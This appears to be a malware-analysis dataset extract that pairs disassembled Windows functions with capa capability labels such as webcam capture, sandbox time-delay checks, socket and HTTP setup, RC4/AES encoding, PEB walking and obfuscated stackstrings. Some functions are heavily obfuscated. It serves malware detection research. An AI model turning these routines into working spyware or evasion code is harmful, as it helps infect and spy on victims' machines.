joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ea05
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x44eb1d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x44eb1d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004687c1
mov esi, eax
test esi, esi
je 0x44eb1d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x44eb1d
mov ecx, esi
call fcn.0044e970
cmp edi, eax
jge 0x44eb1d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x44eaa3
mov dword [esp + 0x34], 1
jmp 0x44eafe
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x44eb1d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.0044df20
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4509a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x450a06
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x450a06
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4509e7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x451190
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4511c8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x451e20
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00451f70
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x451e40
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x451e21
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.00451f70
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x451e40
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x451e70
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x451ec7
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x451edd
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.00451f00
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x451f00
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x451f90
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x451fd9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x452450
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4758d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00452000
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00452080
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00452080
lea ecx, [esi + 0xc]
call fcn.00466d4c
lea ecx, [esi + 0x10]
call fcn.00466d4c
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004548b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004548b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004548b0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.00466dc1
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.00466dc1
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4530f8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x475af8
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x453108
call fcn.00453620
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x4531eb
cmp byte [edi], 0
je 0x4531eb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x45312d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.00451e20
test eax, eax
jne 0x45314d
push 0x58759c
lea ecx, [esi + 0x38]
call fcn.00466efe
jmp 0x4531eb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.00451e70
test eax, eax
jne 0x45317c
mov ecx, esi
call fcn.00451f70
push edi
add esi, 0x38
push 0x587578
push esi
call fcn.00464bc5
add esp, 0xc
jmp 0x4531eb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.00453ea0
test eax, eax
je 0x4531e4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004532c0
test eax, eax
jne 0x453200
push edi
lea eax, [esi + 0x38]
push 0x587554
push eax
call fcn.00464bc5
add esp, 0xc
mov ecx, esi
call fcn.00453620
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4532a8
mov ecx, dword [0x587878]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.00464bc5
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.00451f20
test eax, eax
jne 0x45326a
push 0x587538
lea ecx, [esi + 0x38]
call fcn.00466efe
jmp 0x45327a
push 0xfa
mov ecx, esi
call fcn.00453ea0
test eax, eax
jne 0x453297
mov ecx, esi
call fcn.00453620
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00466dc1
jmp 0x4531eb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.00466dc1
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x469165
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46919d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046721c
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004671f4
jmp 0x4691a9
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x46a853
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46a895
call fcn.004705d0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46a895
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x46a88c
xor eax, eax
jmp 0x46a89d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046a8a3
pop edi
pop esi
pop ebx
ret 4

Function at 0x470b00
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x470b2e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x470b4c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00470a66
jmp 0x470b4c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x470b4c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00470a66
test edi, edi
mov eax, edi
jne 0x470b36
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x101c0cb2
Capabilities:
Parse pe header

Disassembly:
jmp 0x101f6c4e
lea esp, [esp + 4]
jmp fcn.101f6c1f

Function at 0x101c0cd9
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x101f6c88
lea esp, [esp + 4]
jmp fcn.101f6cd9

Function at 0x101c3a04
Capabilities:
Encode data using xor
Encrypt data using aes

Disassembly:
jmp 0x101c3a3c
jmp 0x101c3a20
lea esp, [esp + 4]
jmp 0x101c39e7
jmp 0x101c3a58
jmp 0x101c3a74
push ebx
jmp 0x101c3a90
jmp 0x101c3aac
push ebp
jmp 0x101c3ac8
jmp 0x101c3ae4
push esi
jmp 0x101c3b00
jmp 0x101fbdc1
push edi
movzx edx, byte [eax]
shl edx, 8
movzx esi, byte [eax + 1]
xor edx, esi
movzx esi, byte [eax + 2]
shl edx, 8
jmp 0x101fc928
xor edx, esi
movzx esi, byte [eax + 3]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 5]
mov dword [ecx], edx
movzx edx, byte [eax + 4]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 6]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 7]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 9]
mov dword [ecx + 4], edx
movzx edx, byte [eax + 8]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xa]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xb]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xd]
mov dword [ecx + 8], edx
movzx edx, byte [eax + 0xc]
shl edx, 8
xor edx, esi
movzx esi, byte [eax + 0xe]
movzx eax, byte [eax + 0xf]
shl edx, 8
xor edx, esi
shl edx, 8
xor edx, eax
mov dword [ecx + 0xc], edx
mov eax, edx
shr eax, 0x10
mov esi, 0xff
and eax, esi
mov eax, dword [eax*4 + 0x101cd384]
xor eax, 0x1000000
mov edi, edx
shr edi, 8
and edi, esi
mov edi, dword [edi*4 + 0x101cd384]
and edi, 0xff0000
mov ebx, dword [ecx + 4]
and eax, 0xff000000
xor eax, edi
mov edi, edx
shr edi, 0x18
movzx edi, byte [edi*4 + 0x101cd384]
xor eax, edi
mov edi, edx
and edi, esi
mov edi, dword [edi*4 + 0x101cd384]
mov ebp, 0xff00
and edi, ebp
xor eax, edi
xor eax, dword [ecx]
lea edi, [ecx + 0x10]
xor ebx, eax
mov dword [edi], eax
mov eax, dword [ecx + 8]
xor eax, ebx
mov dword [ecx + 0x14], ebx
mov dword [ecx + 0x18], eax
xor edx, eax
mov dword [ecx + 0x1c], edx
call fcn.101e8e59
mov eax, edi
mov edx, dword [eax + 0xc]
mov ecx, edx
shr ecx, 8
mov edi, edx
and ecx, esi
mov ecx, dword [ecx*4 + 0x101cd384]
shr edi, 0x10
and edi, esi
mov edi, dword [edi*4 + 0x101cd384]
and ecx, 0xff0000
and edi, 0xff000000
xor ecx, edi
mov edi, edx
and edx, esi
mov edx, dword [edx*4 + 0x101cd384]
shr edi, 0x18
movzx edi, byte [edi*4 + 0x101cd384]
xor ecx, edi
and edx, ebp
xor ecx, edx
xor ecx, dword [ebx]
lea edi, [eax + 0x10]
xor ecx, dword [eax]
add ebx, 4
mov dword [edi], ecx
mov edx, dword [eax + 4]
xor edx, ecx
mov dword [eax + 0x14], edx
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 0x18], ecx
mov edx, dword [eax + 0xc]
xor edx, ecx
mov dword [eax + 0x1c], edx
cmp ebx, 0x101cebac
jne 0x101fca16
push 0xa
pop eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x101c4d07
Capabilities:
Encode data using base64

Disassembly:
jmp 0x101c4d23
lea esp, [esp + 4]
jmp 0x101c4ee3
jmp 0x101c4d5b
jmp 0x101c4d77
push ebp
jmp 0x101c4d93
jmp 0x101c4daf
mov ebp, esp
jmp 0x101c4dcb
jmp 0x101c4de7
movzx eax, byte [ecx]
jmp 0x101c4e03
jmp 0x101c4e1f
shl eax, 0x10
jmp 0x101c4e3b
popfd
insb byte es:[edi], dx
lea esp, [eax + 0x21d2b727]
int 0x3a
mov esp, 0x2dc43552
scasb al, byte es:[edi]
jmp 0x101c4e57
cmp dword [ebp + 0xc], 2
jmp 0x101c4e8f
jmp 0x101fcfd9
jmp 0x101c4eab
push ss
jno 0x101c4e2b
jb 0x101c4e73
jae 0x101c4ec7
push ecx
add dword [edi + 0x34], ebx
lodsd eax, dword [esi]
cmp eax, 0xaf03b744
xor eax, 0x943fcca5
jno 0x101c4ea8
jle 0x101c4edb
call 0xd16e1c1e
jmp 0x101fcf58
adc dword [ecx - 0x37], ebp
pop ecx
cmp bl, cl
dec esi
ret 0x57e9
jmp 0x101c4d3f
movzx edx, byte [ecx + 1]
shl edx, 8
jmp 0x101fcf8a
or eax, edx
jmp 0x101c4e73
push ebx
push esi
jmp 0x101ffbaa
cmp dword [ebp + 0xc], 3
jne 0x101fcfbc
movzx ecx, byte [ecx + 2]
or eax, ecx
jmp 0x101fcfbc
push 0x3e
pop eax
cmp ecx, 0x1a
jae 0x101fd037
lea edx, [ecx + 0x41]
jmp 0x101fd06e
cmp ecx, 0x34
jae 0x101fd0e7
lea edx, [ecx + 0x47]
jmp 0x101fd06e
mov ecx, dword [ebp + 8]
mov byte [ecx], dl
cmp esi, 0x1a
jae 0x101fd111
lea ecx, [esi + 0x41]
jmp 0x101fd166
mov ebx, dword [ebp + 0xc]
jmp 0x101fd011
xor edx, edx
jmp 0x101fd0f5
cmp ecx, eax
jae 0x101fd0a8
lea edx, [ecx - 4]
jmp 0x101fd06e
cmp ecx, eax
setne dl
lea edx, [edx*4 + 0x2b]
jmp 0x101fd06e
cmp esi, 0x34
jae 0x101fd185
lea ecx, [esi + 0x47]
jmp 0x101fd166
cmp dword [ebp + 0xc], 2
jmp 0x101fd20e
cmp esi, eax
jae 0x101fd1e2
lea ecx, [esi - 4]
jmp 0x101fd166
xor ecx, ecx
cmp esi, eax
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x101fd166
mov edx, dword [ebp + 8]
mov byte [edx + 1], cl
jb 0x101fd26e
cmp edi, 0x1a
jae 0x101fd243
lea ecx, [edi + 0x41]
jmp 0x101fd32e
cmp edi, 0x34
jae 0x101fd2bc
lea ecx, [edi + 0x47]
jmp 0x101fd32e
mov byte [edx + 2], 0x3d
jmp 0x101fd303
mov byte [edx + 3], 0x3d
jmp 0x101fd6eb
cmp edi, eax
jae 0x101fd2ed
lea ecx, [edi - 4]
jmp 0x101fd32e
xor ecx, ecx
cmp edi, eax
setne cl
lea ecx, [ecx*4 + 0x2b]
jmp 0x101fd32e
cmp dword [ebp + 0xc], 3
jne 0x101fd277
cmp ebx, 0x1a
jae 0x101fd39a
jb 0x101fd376
and eax, 0x8e731486
or dword [ecx + 0x3f09101], eax
aad 0xec
insd dword es:[edi], dx
std
test byte [edi - 0x6d], dh
mul byte [ecx]
cmp ecx, ecx
mov byte [edx + 2], cl
jmp 0x101fd303
mov byte [edx + 3], cl
jmp 0x101fd6eb
lea ecx, [ebx + 0x41]
jmp 0x101fd34b
cmp ebx, 0x34
jae 0x101fd3e6
lea ecx, [ebx + 0x47]
jmp 0x101fd34b
cmp ebx, eax
jae 0x101fd41d
lea ecx, [ebx - 4]
jmp 0x101fd34b
cmp dword [ebp + 0xc], 3
jne 0x101fd09d
and eax, edx
mov ebx, eax
jmp 0x101fd011
xor ecx, ecx
cmp ebx, eax
setne cl
jmp 0x101fe379
mov edi, dword [ebp + 0xc]
jmp 0x101fd408
pop edi
pop esi
pop ebx
pop ebp
ret
lea ecx, [ecx*4 + 0x2b]
jmp 0x101fd34b
push edi
mov ecx, eax
push 0x3f
mov esi, eax
shr ecx, 0x12
pop edx
shr esi, 0xc
and ecx, edx
and esi, edx
cmp dword [ebp + 0xc], 2
jb 0x101fd43e
mov edi, eax
shr edi, 6
and edi, edx
jmp 0x101fd408

Function at 0x101c5371
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x101fe434
lea esp, [esp + 4]
jmp fcn.101fe414
Function at 0x101c6dd5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x101c6df1
lea esp, [esp + 4]
jmp 0x101fd1d0
jmp 0x101c6e29
jmp fcn.102004fd
jmp 0x101c6e0d

Function at 0x101ea292
Capabilities:
Enumerate pe sections

Disassembly:
call fcn.101c0cb2
jmp 0x101c0cd4

Function at 0x101eb00e
Capabilities:
Encode data using base64

Disassembly:
call fcn.101c4b29
jmp 0x101c4d02

Function at 0x101eb06f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call 0x101c5309
jmp 0x101c536c

Function at 0x101fe618
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
and dword [ebp - 0xc], 0
add eax, ecx
mov edx, 0x10b
jmp 0x101fe6d0
push esi
mov esi, dword [eax + 0x78]
jmp 0x101fe6dd
leave
ret 8
cmp word [eax + 0x18], dx
je 0x101fe65f
xor eax, eax
jmp 0x101fe6a3
add esi, ecx
mov eax, dword [eax + 0x7c]
mov dword [ebp - 0x18], eax
jmp 0x101fe8ed
pop esi
jmp 0x101fe6a3
and dword [ebp - 4], 0
add eax, ecx
push ebx
mov ebx, dword [esi + 0x18]
push edi
mov edi, dword [esi + 0x24]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x1c]
add edi, ecx
add eax, ecx
dec ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], eax
js 0x101fe7af
mov eax, dword [ebp - 4]
add eax, ebx
cdq
sub eax, edx
mov edi, eax
mov eax, dword [ebp - 0x10]
sar edi, 1
jmp 0x101fe8c2
xor esi, esi
test ebx, ebx
jl 0x101fe973
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + esi*4]
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call fcn.101eb06f
jmp 0x101fe9b1
test eax, eax
jne 0x101fe82c
jmp 0x101fe9cf
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
cmp eax, esi
jb 0x101fe7e5
mov ecx, dword [ebp - 0x18]
add ecx, esi
cmp eax, ecx
jb 0x101fe851
jmp 0x101fe7e5
pop edi
pop ebx
jmp 0x101fe724
test eax, eax
jmp 0x101fe9a9
jne 0x101fe896
mov eax, dword [ebp - 8]
movzx eax, word [eax + edi*2]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + eax*4]
jmp 0x101fe812
cmp dword [ebp - 4], ebx
je 0x101fe90e
test eax, eax
jle 0x101fe995
lea ebx, [edi - 1]
jmp 0x101fe9cf
mov edx, dword [eax + edi*4]
add edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
call fcn.101eb098
test eax, eax
jmp 0x101fe86e
je 0x101fe9ff
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x101fe765
jmp 0x101fe9ff
mov edi, dword [ebp - 8]
jmp 0x101fe7af
mov eax, dword [ebp - 0xc]
jmp 0x101fe82c
inc edi
mov dword [ebp - 4], edi
jmp 0x101fe9cf
jne 0x101fe973
jmp 0x101fe90e
test eax, eax
je 0x101fe9e2
jne 0x101fea51
sbb byte [ebp + 0x7f97641d], cl
inc edi
rol dword [ecx + 0x20], 1
sar dword [ecx], cl
fcom dword [ebx - 0x3d]
cmpsb byte [esi], byte es:[edi]
push ebp
hlt
cmp dword [ebp - 4], ebx
jle 0x101fe786
jmp 0x101fe90e
movzx eax, word [edi + esi*2]
jmp 0x101fea0a
xor eax, eax
jmp 0x101fe724
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
jmp 0x101fea7a
inc esi
cmp esi, ebx
jle 0x101fe7b9
jmp 0x101fe973
mov dword [ebp - 0xc], eax
jmp 0x101fe973
Function at 0x10212cb7
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
push cs
std
int1
leave
adc esp, dword [edi + 0x4afffbb3]
call 0x1020f7cd
jmp 0x1020f7e0
push eax
jmp 0x1020f7c8
pop eax
sub eax, 0x1020f7cd
jmp 0x1020f8fe
cmp dword [eax + 0x101bd1a1], 0
je 0x1020fa13
lea esp, [esp + 8]
popal
cmp dword [esp + 8], 0
jne 0x1020f7bd
call int.101c682f
jmp 0x1020f7bd
inc dword [eax + 0x101bd1a1]
push 0xa12b20f0
add dword [esp], 0x6ef01894
push 0
push 0
push 0xddee0881
add dword [esp], 0x322d17c5
call fcn.101ca73e
jmp 0x102127d0
call 0x102127d5
add dword [esp], 0xffffd4b4
jmp 0x10212864
call 0x1021280b
jmp 0x10212d7f
call 0x10212837
jmp 0x10212965
push 0x187a3507
jmp 0x102128af
call fcn.101c84f4
jmp 0x10212847
push 0x102127b7
jmp 0x10212806
cmp word [ebx], 0x4550
je 0x1020f7dc
jmp 0x10212970
movzx ebx, word [eax + 0x3c]
add ebx, eax
jmp 0x1021290a
pop eax
xor ax, ax
cmp word [eax], 0x5a4d
je 0x10212944
sub eax, 0x10000
jmp 0x10212969
call 0x10212cb7
push ebx
popal
outsb dx, byte gs:[esi]
imul ebp, dword [bp + 0x65], 0x63694c20
outsb dx, byte gs:[esi]
jae 0x10212d16
jb 0x10212cc9
inc esp
insd dword es:[edi], dx
outsd dx, dword [esi]
and byte [esi + 0x31], dh
cmp byte cs:[esi], ch
xor byte [esi], ch
xor byte [eax], al
lea esp, [esp + 4]
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
inc eax
or byte [eax - 0x17], dl
pop esi
sti
invalid
jmp 0x10212832
test dword [ecx], 0x6603931f
xchg ebp, eax
jnp 0x10212d32
sbb ecx, dword [eax + 0x7d88791e]
int1
mov byte [esi], bl
jns 0x10212ca3
jge 0x10212d0e
not dword [bp + si - 0x379f]
mov esp, 0x35c6a333
lock and byte [esi + 0x5cbe4324], dh
or al, 0x99
or dword [eax - 0x65], ebp
wait
jae 0x10212ccc
add dword [ecx - 0x5e16fc10], edx
xor al, 0xaa
int 0x3c
mov eax, dword [0x3ccdaa34]
wait
mov dword [0x39caaf3f], eax
mov dh, 0xf7
insb byte es:[edi], dx
loop 0x10212ccf
je 0x10212d0e
sbb dword [edi + 0x26817217], eax
jg 0x10212d3a
je 0x10212d69
out dx, al
push ecx
push ebx
rol dword [ebx + 0x26], cl
aad 0x7a
test byte [ecx], bl
mov eax, ebp
sbb ebp, dword [esi + 0x6700920e]
xchg edx, eax
cmp eax, dword [esi - 0x27]
dec ecx
sub bl, bl
outsb dx, byte [esi]
inc ecx
loope 0x10212de4
adc bl, ah
not word [edx + ecx*8 - 0x53]
pop esp
fstp xword [0xeb815bca]
or ebp, dword [eax]
and dword [eax], edx
pop ebx
sub ebx, 0x1021280b
add dword [esp], ebx
push sym.Cop.dll_Ordinal_1
add dword [esp], ebx
call fcn.101c6feb
call fcn.101c9b0f
popal
jmp 0x1020f7bd
mov ch, 0x25
dec esp
mov edi, 0xf969e553
cwde
imul ecx, dword [ebp + 0x2146d05f], 0xffffffd0
xor bh, byte [ebx]
mov ch, 0x25
dec esp
mov edi, 0x34a62b54
push ebx
scasb al, byte es:[edi]
pop edx
rol byte [eax - 0x2a], cl
mov cl, 0x40
test al, 0xd
sahf
or al, 0x6b
cmpsb byte [esi], byte es:[edi]
push ebx
xor byte [eax + 0x7a05136], ah
rol dword [eax - 0x2a], 1
mov cl, 0x40
sub ebp, 0x79
jmp 0xa5bca9a8